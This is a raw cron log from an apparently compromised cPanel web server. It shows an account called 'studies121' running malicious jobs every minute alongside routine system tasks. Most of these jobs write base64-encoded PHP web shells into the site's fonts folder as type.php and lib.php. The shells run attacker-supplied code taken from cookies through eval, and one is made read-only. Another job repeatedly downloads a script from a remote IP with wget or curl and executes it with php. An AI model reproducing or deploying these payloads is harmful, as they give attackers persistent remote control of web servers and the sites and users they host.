Sep  1 11:50:01 ip-184-168-122-23 CROND[17390]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 11:50:01 ip-184-168-122-23 CROND[17385]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:50:01 ip-184-168-122-23 CROND[17387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:50:01 ip-184-168-122-23 CROND[17388]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 11:50:01 ip-184-168-122-23 CROND[17389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:50:01 ip-184-168-122-23 CROND[17391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:51:01 ip-184-168-122-23 CROND[17540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:51:01 ip-184-168-122-23 CROND[17542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:51:01 ip-184-168-122-23 CROND[17541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:51:01 ip-184-168-122-23 CROND[17543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:52:01 ip-184-168-122-23 CROND[17655]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:52:01 ip-184-168-122-23 CROND[17658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:52:01 ip-184-168-122-23 CROND[17656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:52:01 ip-184-168-122-23 CROND[17661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:52:01 ip-184-168-122-23 CROND[17662]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:53:01 ip-184-168-122-23 CROND[17760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:53:01 ip-184-168-122-23 CROND[17763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:53:01 ip-184-168-122-23 CROND[17762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:53:01 ip-184-168-122-23 CROND[17765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:54:01 ip-184-168-122-23 CROND[17944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:54:01 ip-184-168-122-23 CROND[17946]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:54:01 ip-184-168-122-23 CROND[17947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:54:01 ip-184-168-122-23 CROND[17948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:54:01 ip-184-168-122-23 CROND[17951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:55:01 ip-184-168-122-23 CROND[18077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:55:01 ip-184-168-122-23 CROND[18080]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:55:01 ip-184-168-122-23 CROND[18082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:55:01 ip-184-168-122-23 CROND[18079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:55:01 ip-184-168-122-23 CROND[18081]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:55:01 ip-184-168-122-23 CROND[18083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:56:01 ip-184-168-122-23 CROND[18216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:56:01 ip-184-168-122-23 CROND[18217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:56:01 ip-184-168-122-23 CROND[18219]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:56:01 ip-184-168-122-23 CROND[18220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:56:01 ip-184-168-122-23 CROND[18221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:57:01 ip-184-168-122-23 CROND[18324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:57:01 ip-184-168-122-23 CROND[18327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:57:01 ip-184-168-122-23 CROND[18328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:57:01 ip-184-168-122-23 CROND[18326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:58:01 ip-184-168-122-23 CROND[18432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:58:01 ip-184-168-122-23 CROND[18434]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:58:01 ip-184-168-122-23 CROND[18436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:58:01 ip-184-168-122-23 CROND[18435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:58:01 ip-184-168-122-23 CROND[18437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:59:01 ip-184-168-122-23 CROND[18631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:59:01 ip-184-168-122-23 CROND[18630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:59:01 ip-184-168-122-23 CROND[18633]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:59:01 ip-184-168-122-23 CROND[18635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:00:01 ip-184-168-122-23 CROND[18746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:00:01 ip-184-168-122-23 CROND[18747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:00:01 ip-184-168-122-23 CROND[18750]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:00:01 ip-184-168-122-23 CROND[18756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:00:01 ip-184-168-122-23 CROND[18754]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 12:00:01 ip-184-168-122-23 CROND[18755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:00:01 ip-184-168-122-23 CROND[18753]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 12:00:01 ip-184-168-122-23 CROND[18757]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:00:01 ip-184-168-122-23 CROND[18752]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep  1 12:00:01 ip-184-168-122-23 CROND[18758]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:01:01 ip-184-168-122-23 CROND[18896]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 12:01:01 ip-184-168-122-23 CROND[18897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:01:01 ip-184-168-122-23 CROND[18902]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 12:01:01 ip-184-168-122-23 CROND[18898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18896]: starting 0anacron
Sep  1 12:01:01 ip-184-168-122-23 CROND[18906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:01:01 ip-184-168-122-23 CROND[18910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18917]: finished 0anacron
Sep  1 12:02:01 ip-184-168-122-23 CROND[19062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
